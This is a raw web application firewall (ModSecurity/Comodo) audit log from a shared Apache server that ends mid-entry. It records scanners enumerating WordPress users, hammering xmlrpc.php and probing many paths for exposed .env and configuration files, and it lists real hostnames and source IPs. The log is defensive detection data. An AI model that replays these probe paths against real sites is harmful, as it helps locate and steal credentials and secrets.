GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.3econcepts.com X-Real-IP: 82.102.18.180 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --3dacd03b-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.3econcepts.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --3dacd03b-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.3econcepts.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.3econcepts.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9MiuxC6fQU5wYvxvlwewAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027402555548 863936 (- - -) Stopwatch2: 1750027402555548 863936; combined=2606, p1=439, p2=2073, p3=0, p4=0, p5=93, sr=128, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3dacd03b-Z-- --e0e6b623-A-- [16/Jun/2025:04:14:05.439352 +0530] aE9MtLBfUm2FdhH5voEQPQAAAAU 128.199.112.101 56594 127.0.0.1 7081 --e0e6b623-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e0e6b623-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e0e6b623-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9MtLBfUm2FdhH5voEQPQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027444482368 957052 (- - -) Stopwatch2: 1750027444482368 957052; combined=2318, p1=379, p2=1546, p3=39, p4=65, p5=185, sr=97, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0e6b623-Z-- --3b846065-A-- [16/Jun/2025:04:14:08.879959 +0530] aE9MuFR6EeXjkGzEkblsvgAAAAs 185.177.72.210 56772 127.0.0.1 7081 --3b846065-B-- GET /:8080/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b846065-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cea6f58d598b77264c565400480694cc1750027448; expires=Sun, 15 Jun 2025 23:44:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b846065-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/configurationtionura/.env"] [unique_id "aE9MuFR6EeXjkGzEkblsvgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027448213413 666608 (- - -) Stopwatch2: 1750027448213413 666608; combined=1964, p1=370, p2=1522, p3=0, p4=0, p5=71, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b846065-Z-- --f228f857-A-- [16/Jun/2025:04:14:11.894315 +0530] aE9Mu7V9qKUox3X8g1YkNAAAAAg 185.177.72.210 40972 127.0.0.1 7081 --f228f857-B-- GET /.gitlab/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f228f857-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=21ee12591a9c42b5ab1256a85f91422c1750027451; expires=Sun, 15 Jun 2025 23:44:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f228f857-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitlab/.env"] [unique_id "aE9Mu7V9qKUox3X8g1YkNAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027451240777 653618 (- - -) Stopwatch2: 1750027451240777 653618; combined=1761, p1=352, p2=1323, p3=0, p4=0, p5=85, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f228f857-Z-- --df29f54b-A-- [16/Jun/2025:04:15:05.901889 +0530] aE9M8MalTF-TysO2fMN_wgAAAAE 128.199.112.101 47934 127.0.0.1 7081 --df29f54b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --df29f54b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --df29f54b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9M8MalTF-TysO2fMN_wgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027504962821 939124 (- - -) Stopwatch2: 1750027504962821 939124; combined=2391, p1=414, p2=1645, p3=32, p4=56, p5=152, sr=146, sw=92, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df29f54b-Z-- --fdc2eb58-A-- [16/Jun/2025:04:15:19.021513 +0530] aE9M_vNXjUHq-Wm7C_8WMgAAAAQ 185.177.72.210 43508 127.0.0.1 7081 --fdc2eb58-B-- GET /Kubernetes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fdc2eb58-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61216c96e36bfbe03cd711a5fc663e5a1750027518; expires=Sun, 15 Jun 2025 23:45:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fdc2eb58-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Kubernetes/.env"] [unique_id "aE9M_vNXjUHq-Wm7C_8WMgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027518361967 659606 (- - -) Stopwatch2: 1750027518361967 659606; combined=1758, p1=329, p2=1344, p3=0, p4=0, p5=85, sr=79, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fdc2eb58-Z-- --2b6b2315-A-- [16/Jun/2025:04:15:22.106767 +0530] aE9NAVxTdrwJSUMoZvGyagAAAAc 185.177.72.210 39942 127.0.0.1 7081 --2b6b2315-B-- GET /admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b6b2315-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fc3e60b14cf185abba31e8956fb1e2211750027521; expires=Sun, 15 Jun 2025 23:45:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b6b2315-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.staging"] [unique_id "aE9NAVxTdrwJSUMoZvGyagAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027521404188 702755 (- - -) Stopwatch2: 1750027521404188 702755; combined=1379, p1=290, p2=985, p3=0, p4=0, p5=103, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b6b2315-Z-- --03665e02-A-- [16/Jun/2025:04:15:23.110444 +0530] aE9NArV9qKUox3X8g1YkTwAAAAg 185.177.72.210 39974 127.0.0.1 7081 --03665e02-B-- GET /secure/private/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --03665e02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ee0673816c53e2ed6418d5dc2c83e1781750027522; expires=Sun, 15 Jun 2025 23:45:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --03665e02-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/private/.env.local"] [unique_id "aE9NArV9qKUox3X8g1YkTwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027522437696 672826 (- - -) Stopwatch2: 1750027522437696 672826; combined=2003, p1=391, p2=1501, p3=0, p4=0, p5=111, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --03665e02-Z-- --11423200-A-- [16/Jun/2025:04:15:25.138657 +0530] aE9NBFR6EeXjkGzEkbls2gAAAAs 185.177.72.210 40036 127.0.0.1 7081 --11423200-B-- GET /:8000/audio/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --11423200-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5877ed3a3a1a4ba76fe8e7a8549aea291750027524; expires=Sun, 15 Jun 2025 23:45:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --11423200-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/audio/.env"] [unique_id "aE9NBFR6EeXjkGzEkbls2gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027524455577 683182 (- - -) Stopwatch2: 1750027524455577 683182; combined=1821, p1=370, p2=1351, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --11423200-Z-- --8e704925-A-- [16/Jun/2025:04:15:28.173777 +0530] aE9NB-xC6fQU5wYvxvlwqAAAAAk 185.177.72.210 40166 127.0.0.1 7081 --8e704925-B-- GET /:9000/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8e704925-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14ee57100ffe8cd7eb6e3112a4f323cc1750027528; expires=Sun, 15 Jun 2025 23:45:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8e704925-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/core/.env"] [unique_id "aE9NB-xC6fQU5wYvxvlwqAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027527529942 643895 (- - -) Stopwatch2: 1750027527529942 643895; combined=1818, p1=375, p2=1350, p3=0, p4=0, p5=92, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e704925-Z-- --2af20a1e-A-- [16/Jun/2025:04:15:42.281188 +0530] aE9NFexC6fQU5wYvxvlwrgAAAAk 185.177.72.210 59844 127.0.0.1 7081 --2af20a1e-B-- GET /WEB-INF/conf/caches.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2af20a1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffdf327e27e580ec4d256745b288ab481750027542; expires=Sun, 15 Jun 2025 23:45:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2af20a1e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/WEB-INF/conf/caches.dat"] [unique_id "aE9NFexC6fQU5wYvxvlwrgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027541582470 698787 (- - -) Stopwatch2: 1750027541582470 698787; combined=2005, p1=329, p2=1544, p3=0, p4=0, p5=131, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2af20a1e-Z-- --91348e53-A-- [16/Jun/2025:04:16:05.004205 +0530] aE9NLHwHSJGQ1A1pR0qYMQAAAAY 128.199.112.101 33838 127.0.0.1 7081 --91348e53-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --91348e53-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --91348e53-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9NLHwHSJGQ1A1pR0qYMQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027564064291 939972 (- - -) Stopwatch2: 1750027564064291 939972; combined=2499, p1=527, p2=1513, p3=44, p4=110, p5=193, sr=234, sw=112, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91348e53-Z-- --2b1d0e3d-A-- [16/Jun/2025:04:16:07.223709 +0530] aE9NLsalTF-TysO2fMN_3wAAAAE 185.177.72.210 33932 127.0.0.1 7081 --2b1d0e3d-B-- GET /:8888/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b1d0e3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33ac10ffb8b2d193d5ff89df6bf54d921750027567; expires=Sun, 15 Jun 2025 23:46:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b1d0e3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.c9/metadata/environnement/.env"] [unique_id "aE9NLsalTF-TysO2fMN_3wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027566541362 682410 (- - -) Stopwatch2: 1750027566541362 682410; combined=1761, p1=387, p2=1266, p3=0, p4=0, p5=107, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b1d0e3d-Z-- --579fe636-A-- [16/Jun/2025:04:16:08.344078 +0530] aE9NL1R6EeXjkGzEkbls8AAAAAs 185.177.72.210 33988 127.0.0.1 7081 --579fe636-B-- GET /:10000/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --579fe636-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f8a7b860ba12e8d502d038287c48e2f61750027568; expires=Sun, 15 Jun 2025 23:46:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --579fe636-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity 